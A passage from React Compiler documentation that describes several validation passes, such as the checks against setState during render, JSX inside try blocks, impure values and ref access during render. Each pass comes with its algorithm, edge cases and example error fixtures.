Example\n\n### Fixture: `error.invalid-reassign-local-variable-in-effect.js`\n\n**Input:**\n```javascript\nimport {useEffect} from 'react';\n\nfunction Component() {\n  let local;\n\n  const reassignLocal = newValue => {\n    local = newValue;\n  };\n\n  const onMount = newValue => {\n    reassignLocal('hello');\n\n    if (local === newValue) {\n      // Without React Compiler, `reassignLocal` is freshly created\n      // on each render, capturing a binding to the latest `local`,\n      // such that invoking reassignLocal will reassign the same\n      // binding that we are observing in the if condition, and\n      // we reach this branch\n      console.log('`local` was updated!');\n    } else {\n      // With React Compiler enabled, `reassignLocal` is only created\n      // once, capturing a binding to `local` in that render pass.\n      // Therefore, calling `reassignLocal` will reassign the wrong\n      // version of `local`, and not update the binding we are checking\n      // in the if condition.\n      throw new Error('`local` not updated!');\n    }\n  };\n\n  useEffect(() => {\n    onMount();\n  }, [onMount]);\n\n  return 'ok';\n}\n```\n\n**Error:**\n```\nError: Cannot reassign variable after render completes\n\nReassigning `local` after render has completed can cause inconsistent behavior on subsequent renders. Consider using state instead.\n\nerror.invalid-reassign-local-variable-in-effect.ts:7:4\n   5 |\n   6 |   const reassignLocal = newValue => {\n>  7 |     local = newValue;\n     |     ^^^^^ Cannot reassign `local` after render completes\n   8 |   };\n   9 |\n  10 |   const onMount = newValue => {\n```\n\n### Fixture: `error.invalid-reassign-local-variable-in-async-callback.js`\n\n**Input:**\n```javascript\nfunction Component() {\n  let value = null;\n  const reassign = async () => {\n    await foo().then(result => {\n      // Reassigning a local variable in an async function is *always* mutating\n      // after render, so this should error regardless of where this ends up\n      // getting called\n      value = result;\n    });\n  };\n\n  const onClick = async () => {\n    await reassign();\n  };\n  return <div onClick={onClick}>Click</div>;\n}\n```\n\n**Error:**\n```\nError: Cannot reassign variable in async function\n\nReassigning a variable in an async function can cause inconsistent behavior on subsequent renders. Consider using state instead.\n\nerror.invalid-reassign-local-variable-in-async-callback.ts:8:6\n   6 |       // after render, so this should error regardless of where this ends up\n   7 |       // getting called\n>  8 |       value = result;\n     |       ^^^^^ Cannot reassign `value`\n   9 |     });\n  10 |   };\n```\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/docs/passes/44-validateNoSetStateInRender.md",
    "content": "# validateNoSetStateInRender\n\n## File\n`src/Validation/ValidateNoSetStateInRender.ts`\n\n## Purpose\nValidates that a component does not unconditionally call `setState` during render, which would cause an infinite update loop. This pass is conservative and may miss some cases (false negatives) but avoids false positives.\n\n## Input Invariants\n- Operates on HIRFunction (pre-reactive scope inference)\n- Must run before reactive scope inference\n- Uses `computeUnconditionalBlocks` to determine which blocks always execute\n\n## Validation Rules\nThis pass detects two types of violations:\n\n1. **Unconditional setState in render**: Calling `setState` (or a function that transitively calls setState) in a block that always executes during render.\n\n2. **setState inside useMemo**: Calling `setState` inside a `useMemo` callback, which can cause infinite loops when the memo's dependencies change.\n\n### Error Messages\n\n**For unconditional setState in render:**\n```\nError: Cannot call setState during render\n\nCalling setState during render may trigger an infinite loop.\n* To reset state when other state/props change, store the previous value in state and update conditionally: https://react.dev/reference/react/useState#storing-information-from-previous-renders\n* To derive data from other state/props, compute the derived data during render without using state\n```\n\n**For setState in useMemo:**\n```\nError: Calling setState from useMemo may trigger an infinite loop\n\nEach time the memo callback is evaluated it will change state. This can cause a memoization dependency to change, running the memo function again and causing an infinite loop. Instead of setting state in useMemo(), prefer deriving the value during render.\n```\n\n## Algorithm\n1. Compute the set of unconditional blocks using post-dominator analysis\n2. Initialize a set `unconditionalSetStateFunctions` to track functions that unconditionally call setState\n3. Traverse all blocks and instructions:\n   - **LoadLocal/StoreLocal**: Propagate setState tracking through variable assignments and loads\n   - **FunctionExpression/ObjectMethod**: Recursively check if the function unconditionally calls setState. If so, add the function's lvalue to the tracking set\n   - **StartMemoize/FinishMemoize**: Track when inside a manual memoization block (useMemo/useCallback)\n   - **CallExpression**: Check if the callee is a setState function or tracked setter:\n     - If inside a memoize block, emit a useMemo-specific error\n     - If in an unconditional block, emit a render-time setState error\n\n### Key Helper: `computeUnconditionalBlocks`\nUses post-dominator tree analysis to find blocks that always execute when the function runs. The analysis ignores throw statements since hooks only need consistent ordering for normal execution paths.\n\n## Edge Cases\n\n### Conditional setState is allowed\n```javascript\n// This is valid - setState is conditional\nif (someCondition) {\n  setState(newValue);\n}\n```\n\n### Transitive detection through functions\n```javascript\n// Detected - setTrue unconditionally calls setState\nconst setTrue = () => setState(true);\nsetTrue(); // Error here\n```\n\n### False negative: setState in data structures\n```javascript\n// NOT detected - setState stored in array then extracted\nconst [state, setState] = useState(false);\nconst x = [setState];\nconst y = x.pop();\ny(); // No error, but will cause infinite loop\n```\n\n### Feature flag: enableUseKeyedState\nWhen enabled, the error message suggests using `useKeyedState(initialState, key)` as an alternative pattern for resetting state when dependencies change.\n\n## TODOs\nNone in source code.\n\n## Example\n\n### Fixture: `error.invalid-unconditional-set-state-in-render.js`\n\n**Input:**\n```javascript\n// @validateNoSetStateInRender\nfunction Component(props) {\n  const [x, setX] = useState(0);\n  const aliased = setX;\n\n  setX(1);\n  aliased(2);\n\n  return x;\n}\n```\n\n**Error:**\n```\nFound 2 errors:\n\nError: Cannot call setState during render\n\nCalling setState during render may trigger an infinite loop.\n* To reset state when other state/props change, store the previous value in state and update conditionally: https://react.dev/reference/react/useState#storing-information-from-previous-renders\n* To derive data from other state/props, compute the derived data during render without using state.\n\nerror.invalid-unconditional-set-state-in-render.ts:6:2\n  4 |   const aliased = setX;\n  5 |\n> 6 |   setX(1);\n    |   ^^^^ Found setState() in render\n  7 |   aliased(2);\n  8 |\n  9 |   return x;\n\nError: Cannot call setState during render\n\n...\n\nerror.invalid-unconditional-set-state-in-render.ts:7:2\n   5 |\n   6 |   setX(1);\n>  7 |   aliased(2);\n     |   ^^^^^^^ Found setState() in render\n```\n\n**Why it fails:** Both `setX(1)` and `aliased(2)` are unconditionally called during render. The pass tracks that `aliased` is assigned from `setX`, so calling `aliased()` is also detected as a setState call.\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/docs/passes/45-validateNoDerivedComputationsInEffects.md",
    "content": "# validateNoDerivedComputationsInEffects\n\n## File\n`src/Validation/ValidateNoDerivedComputationsInEffects.ts`\n\n## Purpose\nValidates that `useEffect` is not used for derived computations that could and should be performed during render. This catches a common anti-pattern where developers use effects to synchronize derived state, which causes unnecessary re-renders and complexity.\n\nSee: https://react.dev/learn/you-might-not-need-an-effect#updating-state-based-on-props-or-state\n\n## Input Invariants\n- Operates on HIRFunction (pre-reactive scope inference)\n- Effect hooks must be identified (`isUseEffectHookType`)\n- setState functions must be identified (`isSetStateType`)\n\n## Validation Rules\nThe pass detects when an effect:\n1. Has a dependency array (2nd argument)\n2. The effect function only captures the dependencies and setState functions\n3. The effect calls setState with a value derived solely from the dependencies\n4. The effect has no control flow (loops with back edges)\n\nWhen detected, it produces:\n```\nError: Values derived from props and state should be calculated during render, not in an effect. (https://react.dev/learn/you-might-not-need-an-effect#updating-state-based-on-props-or-state)\n```\n\n## Algorithm\n1. **Collection Phase**: Traverse all instructions to collect:\n   - `candidateDependencies`: Map of ArrayExpression identifiers (potential deps arrays)\n   - `functions`: Map of FunctionExpression identifiers (potential effect callbacks)\n   - `locals`: Map of LoadLocal sources for identifier resolution\n\n2. **Detection Phase**: When a `useEffect` call is found with 2 arguments:\n   - Look up the effect function and dependencies array\n   - Verify all dependency array elements are identifiers\n   - Call `validateEffect()` on the effect function\n\n3. **Effect Validation** (`validateEffect`):\n   - Check that the effect only captures dependencies or setState functions\n   - Check that all dependencies are actually used in the effect\n   - Skip if any block has a back edge (loop)\n   - Track data flow through instructions:\n     - `LoadLocal`: Propagate dependency tracking\n     - `PropertyLoad`, `BinaryExpression`, `TemplateLiteral`, `CallExpression`, `MethodCall`: Aggregate dependencies from operands\n   - When `setState` is called with a single argument that depends on ALL effect dependencies, record the location\n   - If any dependency is used in a terminal operand (control flow), abort validation\n   - Push errors for all recorded setState locations\n\n### Value Tracking\nThe pass maintains a `values` map from `IdentifierId` to `Array<IdentifierId>` tracking which effect dependencies each value derives from. When setState is called, if the argument derives from all dependencies, it's flagged as a derived computation.\n\n## Edge Cases\n\n### Allowed: Effects with side effects\n```javascript\n// Valid - effect captures external values, not just deps\nuseEffect(() => {\n  logToServer(firstName);\n  setFullName(firstName);\n}, [firstName]);\n```\n\n### Allowed: Effects with loops\n```javascript\n// Valid - has control flow, not a simple derivation\nuseEffect(() => {\n  let result = '';\n  for (const item of items) {\n    result += item;\n  }\n  setResult(result);\n}, [items]);\n```\n\n### Allowed: Effects with conditional setState\n```javascript\n// Valid - setState is conditional on control flow\nuseEffect(() => {\n  if (condition) {\n    setFullName(firstName + lastName);\n  }\n}, [firstName, lastName]);\n```\n\n### Not detected: Subset of dependencies\n```javascript\n// Not flagged - only uses firstName, not lastName\nuseEffect(() => {\n  setResult(firstName);\n}, [firstName, lastName]);\n```\n\n## TODOs\nNone in source code.\n\n## Example\n\n### Fixture: `error.invalid-derived-computation-in-effect.js`\n\n**Input:**\n```javascript\n// @validateNoDerivedComputationsInEffects\nimport {useEffect, useState} from 'react';\n\nfunction BadExample() {\n  const [firstName, setFirstName] = useState('Taylor');\n  const [lastName, setLastName] = useState('Swift');\n\n  // Avoid: redundant state and unnecessary Effect\n  const [fullName, setFullName] = useState('');\n  useEffect(() => {\n    setFullName(firstName + ' ' + lastName);\n  }, [firstName, lastName]);\n\n  return <div>{fullName}</div>;\n}\n```\n\n**Error:**\n```\nFound 1 error:\n\nError: Values derived from props and state should be calculated during render, not in an effect. (https://react.dev/learn/you-might-not-need-an-effect#updating-state-based-on-props-or-state)\n\nerror.invalid-derived-computation-in-effect.ts:11:4\n   9 |   const [fullName, setFullName] = useState('');\n  10 |   useEffect(() => {\n> 11 |     setFullName(firstName + ' ' + lastName);\n     |     ^^^^^^^^^^^ Values derived from props and state should be calculated during render, not in an effect.\n  12 |   }, [firstName, lastName]);\n  13 |\n  14 |   return <div>{fullName}</div>;\n```\n\n**Why it fails:** The effect computes `fullName` purely from `firstName` and `lastName` (the dependencies) and then sets state. This is a derived computation that should be calculated during render:\n\n```javascript\n// Correct approach\nconst fullName = firstName + ' ' + lastName;\n```\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/docs/passes/46-validateNoSetStateInEffects.md",
    "content": "# validateNoSetStateInEffects\n\n## File\n`src/Validation/ValidateNoSetStateInEffects.ts`\n\n## Purpose\nValidates against calling `setState` synchronously in the body of an effect (`useEffect`, `useLayoutEffect`, `useInsertionEffect`), while allowing `setState` in callbacks scheduled by the effect. Synchronous setState in effects triggers cascading re-renders which hurts performance.\n\nSee: https://react.dev/learn/you-might-not-need-an-effect\n\n## Input Invariants\n- Operates on HIRFunction (pre-reactive scope inference)\n- Effect hooks must be identified (`isUseEffectHookType`, `isUseLayoutEffectHookType`, `isUseInsertionEffectHookType`)\n- setState functions must be identified (`isSetStateType`)\n- Only runs when `outputMode === 'lint'`\n\n## Validation Rules\nThis pass detects synchronous setState calls within effect bodies:\n\n**Standard error message:**\n```\nError: Calling setState synchronously within an effect can trigger cascading renders\n\nEffects are intended to synchronize state between React and external systems such as manually updating the DOM, state management libraries, or other platform APIs. In general, the body of an effect should do one or both of the following:\n* Update external systems with the latest state from React.\n* Subscribe for updates from some external system, calling setState in a callback function when external state changes.\n\nCalling setState synchronously within an effect body causes cascading renders that can hurt performance, and is not recommended.\n```\n\n**Verbose error message** (when `enableVerboseNoSetStateInEffect` is enabled):\nProvides more detailed guidance about specific anti-patterns like non-local derived data, derived event patterns, and force update patterns.\n\n## Algorithm\n1. **Main function traversal**: Build a map `setStateFunctions` tracking which identifiers are setState functions\n2. For each instruction:\n   - **LoadLocal/StoreLocal**: Propagate setState tracking through variable assignments\n   - **FunctionExpression**: Check if the function synchronously calls setState by recursively calling `getSetStateCall()`. If so, track the function as a setState-calling function\n   - **useEffectEvent call**: If the argument is a function that calls setState, track the return value as a setState function\n   - **useEffect/useLayoutEffect/useInsertionEffect call**: Check if the callback argument is tracked as calling setState. If so, emit an error\n\n3. **`getSetStateCall()` helper**: Recursively analyzes a function to find synchronous setState calls:\n   - Tracks ref-derived values when `enableAllowSetStateFromRefsInEffects` is enabled\n   - Propagates setState tracking through local variables\n   - Returns the Place of the setState call if found, null otherwise\n\n### Ref-derived setState exception\nWhen `enableAllowSetStateFromRefsInEffects` is enabled, the pass allows setState calls where:\n- The value being set is derived from a ref (`useRef` or `ref.current`)\n- The block containing setState is controlled by a ref-dependent condition\n\nThis allows patterns like storing initial layout measurements from refs in state.\n\n## Edge Cases\n\n### Allowed: setState in callbacks\n```javascript\n// Valid - setState in event callback, not synchronous\nuseEffect(() => {\n  const handler = () => {\n    setState(newValue);\n  };\n  window.addEventListener('resize', handler);\n  return () => window.removeEventListener('resize', handler);\n}, []);\n```\n\n### Transitive detection\n```javascript\n// Detected - transitive through function calls\nconst f = () => setState(value);\nconst g = () => f();\nuseEffect(() => {\n  g(); // Error: calls setState transitively\n});\n```\n\n### useEffectEvent tracking\n```javascript\n// Detected - useEffectEvent that calls setState is tracked\nconst handler = useEffectEvent(() => {\n  setState(value);\n});\nuseEffect(() => {\n  handler(); // Error: handler calls setState\n});\n```\n\n### Allowed: Ref-derived state (with flag)\n```javascript\n// Valid when enableAllowSetStateFromRefsInEffects is true\nconst ref = useRef(null);\nuseEffect(() => {\n  const width = ref.current.offsetWidth;\n  setWidth(width); // Allowed - derived from ref\n}, []);\n```\n\n## TODOs\nFrom the source code:\n```typescript\n/*\n * TODO: once we support multiple locations per error, we should link to the\n * original Place in the case that setStateFunction.has(callee)\n */\n```\n\n## Example\n\n### Fixture: `invalid-setState-in-useEffect-transitive.js`\n\n**Input:**\n```javascript\n// @loggerTestOnly @validateNoSetStateInEffects @outputMode:\"lint\"\nimport {useEffect, useState} from 'react';\n\nfunction Component() {\n  const [state, setState] = useState(0);\n  const f = () => {\n    setState(s => s + 1);\n  };\n  const g = () => {\n    f();\n  };\n  useEffect(() => {\n    g();\n  });\n  return state;\n}\n```\n\n**Error:**\n```\nError: Calling setState synchronously within an effect can trigger cascading renders\n\nEffects are intended to synchronize state between React and external systems such as manually updating the DOM, state management libraries, or other platform APIs. In general, the body of an effect should do one or both of the following:\n* Update external systems with the latest state from React.\n* Subscribe for updates from some external system, calling setState in a callback function when external state changes.\n\nCalling setState synchronously within an effect body causes cascading renders that can hurt performance, and is not recommended.\n\ninvalid-setState-in-useEffect-transitive.ts:13:4\n  11 |   };\n  12 |   useEffect(() => {\n> 13 |     g();\n     |     ^ Avoid calling setState() directly within an effect\n  14 |   });\n```\n\n**Why it fails:** Even though `setState` is not called directly in the effect, the pass traces through `g()` -> `f()` -> `setState()` and detects that the effect synchronously triggers a state update.\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/docs/passes/47-validateNoJSXInTryStatement.md",
    "content": "# validateNoJSXInTryStatement\n\n## File\n`src/Validation/ValidateNoJSXInTryStatement.ts`\n\n## Purpose\nValidates that JSX is not created within a try block. Developers may incorrectly assume that wrapping JSX in try/catch will catch rendering errors, but React does not immediately render components when JSX is created - JSX is just a description of UI that will be rendered later. Error boundaries should be used instead.\n\nSee: https://react.dev/reference/react/Component#catching-rendering-errors-with-an-error-boundary\n\n## Input Invariants\n- Operates on HIRFunction (pre-reactive scope inference)\n- Blocks are traversed in order\n- Only runs when `outputMode === 'lint'`\n\n## Validation Rules\nThe pass errors when `JsxExpression` or `JsxFragment` instructions are found within a try block.\n\n**Error message:**\n```\nError: Avoid constructing JSX within try/catch\n\nReact does not immediately render components when JSX is rendered, so any errors from this component will not be caught by the try/catch. To catch errors in rendering a given component, wrap that component in an error boundary.\n```\n\n### Important distinction\n- JSX in a **try block**: Error\n- JSX in a **catch block** (not nested in outer try): Allowed\n- JSX in a **catch block** (nested in outer try): Error\n\n## Algorithm\n1. Maintain a stack `activeTryBlocks` of currently active try statement handler block IDs\n2. For each block:\n   - Remove the current block from `activeTryBlocks` if it matches a handler (we've exited the try scope)\n   - If `activeTryBlocks` is not empty (we're inside a try block):\n     - Check each instruction for `JsxExpression` or `JsxFragment`\n     - If found, push an error\n   - If the block's terminal is a `try` terminal, push its handler block ID to `activeTryBlocks`\n\n### Block tracking with `retainWhere`\nThe `retainWhere` utility is used to remove the current block from `activeTryBlocks` at the start of each block. When we reach a catch handler block, it gets removed from the active list, allowing JSX in catch blocks (unless there's an outer try).\n\n## Edge Cases\n\n### Allowed: JSX in catch (no outer try)\n```javascript\n// Valid - catch block is not inside a try\nfunction Component() {\n  try {\n    doSomething();\n  } catch {\n    return <ErrorMessage />; // OK\n  }\n}\n```\n\n### Error: JSX in catch with outer try\n```javascript\n// Error - catch is inside outer try\nfunction Component() {\n  try {\n    try {\n      doSomething();\n    } catch {\n      return <ErrorMessage />; // Error!\n    }\n  } catch {\n    return null;\n  }\n}\n```\n\n### Error: JSX assigned in try\n```javascript\n// Error - JSX creation is in try block\nfunction Component() {\n  let el;\n  try {\n    el = <div />; // Error here\n  } catch {\n    return null;\n  }\n  return el;\n}\n```\n\n### Finally blocks\nThe validation currently has TODOs for handling try/catch/finally properly. Files like `error.todo-invalid-jsx-in-try-with-finally.js` indicate these are known unsupported cases.\n\n## TODOs\nBased on fixture naming patterns:\n- `error.todo-invalid-jsx-in-try-with-finally.js` - Try blocks with finally clauses\n- `error.todo-invalid-jsx-in-catch-in-outer-try-with-finally.js` - Nested try/catch in try with finally\n\n## Example\n\n### Fixture: `invalid-jsx-in-try-with-catch.js`\n\n**Input:**\n```javascript\n// @loggerTestOnly @validateNoJSXInTryStatements @outputMode:\"lint\"\nfunction Component(props) {\n  let el;\n  try {\n    el = <div />;\n  } catch {\n    return null;\n  }\n  return el;\n}\n```\n\n**Error:**\n```\nError: Avoid constructing JSX within try/catch\n\nReact does not immediately render components when JSX is rendered, so any errors from this component will not be caught by the try/catch. To catch errors in rendering a given component, wrap that component in an error boundary.\n\ninvalid-jsx-in-try-with-catch.ts:5:9\n  3 |   let el;\n  4 |   try {\n> 5 |     el = <div />;\n    |          ^^^^^^^ Avoid constructing JSX within try/catch\n  6 |   } catch {\n  7 |     return null;\n  8 |   }\n```\n\n**Why it fails:** The `<div />` JSX element is created inside a try block. If the developer expects this to catch errors from rendering the div, they will be surprised - the try/catch will only catch errors from creating the JSX object (which is rare), not from React actually rendering it later. The correct approach is to use an error boundary component to catch rendering errors.\n\n### Fixture: `invalid-jsx-in-catch-in-outer-try-with-catch.js`\n\n**Input:**\n```javascript\n// @loggerTestOnly @validateNoJSXInTryStatements @outputMode:\"lint\"\nimport {identity} from 'shared-runtime';\n\nfunction Component(props) {\n  let el;\n  try {\n    let value;\n    try {\n      value = identity(props.foo);\n    } catch {\n      el = <div value={value} />;\n    }\n  } catch {\n    return null;\n  }\n  return el;\n}\n```\n\n**Error:**\n```\nError: Avoid constructing JSX within try/catch\n\n...\n\ninvalid-jsx-in-catch-in-outer-try-with-catch.ts:11:11\n   9 |       value = identity(props.foo);\n  10 |     } catch {\n> 11 |       el = <div value={value} />;\n     |            ^^^^^^^^^^^^^^^^^^^^^ Avoid constructing JSX within try/catch\n```\n\n**Why it fails:** Even though the JSX is in a catch block, that catch block is itself inside an outer try block. The outer try's catch won't catch rendering errors from the JSX any more than the inner try would.\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/docs/passes/48-validateNoImpureValuesInRender.md",
    "content": "# validateNoImpureValuesInRender\n\n## File\n`src/Validation/ValidateNoImpureValuesInRender.ts`\n\n## Purpose\nThis validation pass ensures that impure values (values derived from non-deterministic function calls) are not used in render output. Impure values can produce unstable results that update unpredictably when the component re-renders, violating React's requirement that components be pure and idempotent.\n\nThe pass tracks values produced by impure functions (like `Date.now()`, `Math.random()`, `performance.now()`) and errors if those values flow into JSX props, component return values, or other render-time contexts.\n\n## Input Invariants\n- The function has been through effect inference\n- Aliasing effects have been computed on instructions\n- `Impure` effects mark values from non-deterministic sources\n- `Render` effects mark values used in render context\n\n## Validation Rules\nThe pass produces errors when:\n\n1. **Impure value in render context**: A value marked with an `Impure` effect flows into a position marked with a `Render` effect\n2. **Impure function returns in render**: A function that returns an impure value is called during render\n\nError messages produced:\n- Category: `ImpureValues`\n- Reason: \"Cannot access impure value during render\"\n- Description: \"Calling an impure function can produce unstable results that update unpredictably when the component happens to re-render.\"\n\nThe error points to two locations:\n1. Where the impure value is used in render (e.g., as a JSX prop)\n2. Where the impure value originates (e.g., the `Date.now()` call)\n\n## Algorithm\n\n### Phase 1: Infer Impure Values\nThe pass iterates over all instructions to build a map of which identifiers contain impure values:\n\n```typescript\nfunction inferImpureValues(\n  fn: HIRFunction,\n  impure: Map<IdentifierId, ImpureEffect>,\n  impureFunctions: Map<IdentifierId, ImpuritySignature>,\n  cache: FunctionCache,\n): ImpuritySignature\n```\n\nThe algorithm uses a fixed-point iteration that propagates impurity through data flow:\n\n1. **Process phi nodes**: If any operand of a phi is impure, the phi result is impure\n2. **Process effects**: For each instruction's effects:\n   - `Impure` effect: Mark the destination identifier as impure\n   - `Alias/Assign/Capture/CreateFrom/ImmutableCapture`: Propagate impurity from source to destination\n   - `CreateFunction`: Recursively analyze function expressions\n   - `Apply`: When calling a function with an impurity signature, propagate impurity to call results\n\n3. **Control flow sensitivity**: The pass also considers control-flow dominators to detect impure values that flow through conditional branches\n\n### Phase 2: Validate Render Effects\nAfter impurity inference converges, the pass validates all `Render` effects:\n\n```typescript\nfunction validateRenderEffect(effect: RenderEffect): void {\n  const impureEffect = impure.get(effect.place.identifier.id);\n  if (impureEffect != null) {\n    // Emit error\n  }\n}\n```\n\n### Special Cases\n- Values stored in refs (`isUseRefType`) are allowed to be impure since refs are not rendered\n- JSX elements are excluded from impurity propagation (`isJsxType`)\n\n## Edge Cases\n\n### Impure Values Through Helper Functions\nIf a helper function returns an impure value and is called during render, both the call site and the original impure source are reported:\n\n```javascript\nfunction Component() {\n  const now = () => Date.now();  // Source of impurity\n  const render = () => {\n    return <div>{now()}</div>;   // Error: impure value in render\n  };\n  return <div>{render()}</div>;  // Error: impure value in render\n}\n```\n\n### Indirect Impurity Through Mutation\nWhen an impure value is captured into another value through mutation, the destination becomes impure:\n\n```javascript\nfunction Component() {\n  const obj = {};\n  obj.time = Date.now();  // obj becomes impure\n  return <Foo obj={obj} />;  // Error\n}\n```\n\n### Phi Node Propagation\nImpurity propagates through control flow merges:\n\n```javascript\nfunction Component({cond}) {\n  let x;\n  if (cond) {\n    x = Date.now();  // Impure path\n  } else {\n    x = 0;           // Pure path\n  }\n  return <Foo x={x} />;  // Error: x may be impure\n}\n```\n\n## TODOs\nFrom the source file:\n\n```typescript\n/**\n * TODO: consider propagating impurity for assignments/mutations that\n * are controlled by an impure value.\n *\n * Example: This should error since we know the semantics of array.push,\n * it's a definite Mutate and definite Capture, not maybemutate+maybecapture:\n *\n * let x = [];\n * if (Date.now() < START_DATE) {\n *   x.push(1);\n * }\n * return <Foo x={x} />\n */\n```\n\n## Example\n\n### Fixture: `error.invalid-impure-functions-in-render.js`\n\n**Input:**\n```javascript\n// @validateNoImpureFunctionsInRender\n\nfunction Component() {\n  const date = Date.now();\n  const now = performance.now();\n  const rand = Math.random();\n  return <Foo date={date} now={now} rand={rand} />;\n}\n```\n\n**Error:**\n```\nFound 3 errors:\n\nError: Cannot access impure value during render\n\nCalling an impure function can produce unstable results that update unpredictably\nwhen the component happens to re-render.\n(https://react.dev/reference/rules/components-and-hooks-must-be-pure#components-and-hooks-must-be-idempotent).\n\nerror.invalid-impure-functions-in-render.ts:7:20\n  5 |   const now = performance.now();\n  6 |   const rand = Math.random();\n> 7 |   return <Foo date={date} now={now} rand={rand} />;\n    |                     ^^^^ Cannot access impure value during render\n  8 | }\n\nerror.invalid-impure-functions-in-render.ts:4:15\n  2 |\n  3 | function Component() {\n> 4 |   const date = Date.now();\n    |                ^^^^^^^^^^ `Date.now` is an impure function.\n  5 |   const now = performance.now();\n\nError: Cannot access impure value during render\n...\n```\n\nKey observations:\n- Each impure function call (`Date.now`, `performance.now`, `Math.random`) produces a separate error\n- The error shows both the usage location (in JSX) and the source location (the impure call)\n- The pass is enabled via the `@validateNoImpureFunctionsInRender` pragma\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/docs/passes/49-validateNoRefAccessInRender.md",
    "content": "# validateNoRefAccessInRender\n\n## File\n`src/Validation/ValidateNoRefAccessInRender.ts`\n\n## Purpose\nThis validation pass ensures that React refs are not mutated during render. Refs are mutable containers for values that are not needed for rendering. Accessing or mutating `ref.current` during render can cause components to not update as expected because React does not track ref mutations.\n\nThe pass validates both direct ref mutations at the component level and ref mutations inside functions that are called during render.\n\n## Input Invariants\n- The function has been through type inference\n- Ref types are properly identified (`useRef` return values)\n- Function expressions have been lowered\n\n## Validation Rules\nThe pass produces errors for:\n\n1. **Direct ref mutation in render**: Assigning to `ref.current` at the top level of a component\n2. **Ref mutation in render helper**: Mutating a ref inside a function that is called during render\n3. **Duplicate ref initialization**: Initializing a ref more than once within null-guard blocks\n\n**Exception - Null-guard initialization pattern**: The pass allows a single initialization of `ref.current` inside an `if (ref.current == null)` block. This is a common pattern for lazy initialization:\n\n```javascript\n// ALLOWED - null-guard initialization\nif (ref.current == null) {\n  ref.current = expensiveComputation();\n}\n```\n\nError messages produced:\n- Category: `Refs`\n- Reason: \"Cannot access refs during render\"\n- Messages:\n  - \"Cannot update ref during render\"\n  - \"Ref is initialized more than once during render\"\n  - \"Ref was first initialized here\" (for duplicate initialization)\n\n## Algorithm\n\n### Phase 1: Initialize Ref Tracking\nTrack refs from function parameters and context (captured variables):\n\n```typescript\nfor (const param of fn.params) {\n  if (isUseRefType(place.identifier)) {\n    refs.set(place.identifier.id, {kind: 'Ref', refId: makeRefId()});\n  }\n}\n```\n\n### Phase 2: Single Forward Pass\nProcess all blocks in order, tracking:\n- `refs`: Map of identifier IDs to ref information\n- `nullables`: Set of identifiers known to be null/undefined\n- `guards`: Map of comparison results (e.g., `ref.current == null`)\n- `safeBlocks`: Map of blocks where null-guard allows initialization\n- `refMutatingFunctions`: Map of function identifiers that mutate refs\n\n### Phase 3: Process Instructions\nFor each instruction, handle:\n\n```typescript\nswitch (value.kind) {\n  case 'PropertyLoad': {\n    // Track ref.current access\n    if (objRef?.kind === 'Ref' && value.property === 'current') {\n      refs.set(lvalue.identifier.id, {kind: 'RefValue', refId: objRef.refId});\n    }\n    break;\n  }\n  case 'PropertyStore': {\n    // Check for ref mutation\n    if (isRef && isCurrentProperty && !isNullGuardInit) {\n      if (isTopLevel) {\n        errors.pushDiagnostic(makeRefMutationError(instr.loc));\n      }\n      return mutation;\n    }\n    break;\n  }\n  case 'FunctionExpression': {\n    // Recursively validate with isTopLevel=false\n    const mutation = validateFunction(..., false, errors);\n    if (mutation != null) {\n      refMutatingFunctions.set(lvalue.identifier.id, mutation);\n    }\n    break;\n  }\n  case 'CallExpression': {\n    // Check if calling a ref-mutating function\n    if (refMutatingFunctions.has(callee.identifier.id) && isTopLevel) {\n      errors.pushDiagnostic(makeRefMutationError(mutationInfo.loc));\n    }\n    break;\n  }\n}\n```\n\n### Phase 4: Guard Detection and Propagation\nWhen encountering an `if` terminal with a null-guard condition:\n\n```typescript\nif (block.terminal.kind === 'if') {\n  const guard = guards.get(block.terminal.test.identifier.id);\n  if (guard != null) {\n    // For equality checks (==, ===), consequent is safe\n    // For inequality checks (!=, !==), alternate is safe\n    const safeBlock = guard.isEquality\n      ? block.terminal.consequent\n      : block.terminal.alternate;\n    // Propagate safety through control flow\n  }\n}\n```\n\n## Edge Cases\n\n### Null-Guard Initialization Pattern (Allowed)\n```javascript\nfunction Component() {\n  const ref = useRef(null);\n  if (ref.current == null) {\n    ref.current = computeValue();  // OK - first initialization\n  }\n  return <div />;\n}\n```\n\n### Duplicate Initialization (Error)\n```javascript\nfunction Component() {\n  const ref = useRef(null);\n  if (ref.current == null) {\n    ref.current = value1;  // First init - tracked\n  }\n  if (ref.current == null) {\n    ref.current = value2;  // Error: duplicate initialization\n  }\n}\n```\n\n### Negated Null Check\nThe pass correctly handles negated null checks:\n```javascript\nif (ref.current !== null) {\n  // NOT safe for initialization\n} else {\n  // Safe for initialization (ref.current is null here)\n}\n```\n\n### Ref Mutation in Called Function\n```javascript\nfunction Component(props) {\n  const ref = useRef(null);\n  const renderItem = item => {\n    ref.current = item;  // Mutation tracked in function\n    return <Item item={item} />;\n  };\n  // Error: calling function that mutates ref during render\n  return <List>{props.items.map(renderItem)}</List>;\n}\n```\n\n### Ref Mutation in Event Handler (Allowed)\n```javascript\nfunction Component() {\n  const ref = useRef(null);\n  const onClick = () => {\n    ref.current = value;  // OK - not called during render\n  };\n  return <button onClick={onClick} />;  // onClick is passed, not called\n}\n```\n\n### Arbitrary Comparison Values (Error)\nOnly `null` or `undefined` comparisons are recognized as null guards:\n```javascript\nconst DEFAULT_VALUE = 1;\nif (ref.current == DEFAULT_VALUE) {\n  ref.current = 1;  // Error: not a null guard\n}\n```\n\n## TODOs\nNone in the source file.\n\n## Example\n\n### Fixture: `error.invalid-disallow-mutating-ref-in-render.js`\n\n**Input:**\n```javascript\n// @validateRefAccessDuringRender\nfunction Component() {\n  const ref = useRef(null);\n  ref.current = false;\n\n  return <button ref={ref} />;\n}\n```\n\n**Error:**\n```\nFound 1 error:\n\nError: Cannot access refs during render\n\nReact refs are values that are not needed for rendering. Refs should only be\naccessed outside of render, such as in event handlers or effects. Accessing a\nref value (the `current` property) during render can cause your component not\nto update as expected (https://react.dev/reference/react/useRef).\n\nerror.invalid-disallow-mutating-ref-in-render.ts:4:2\n  2 | function Component() {\n  3 |   const ref = useRef(null);\n> 4 |   ref.current = false;\n    |   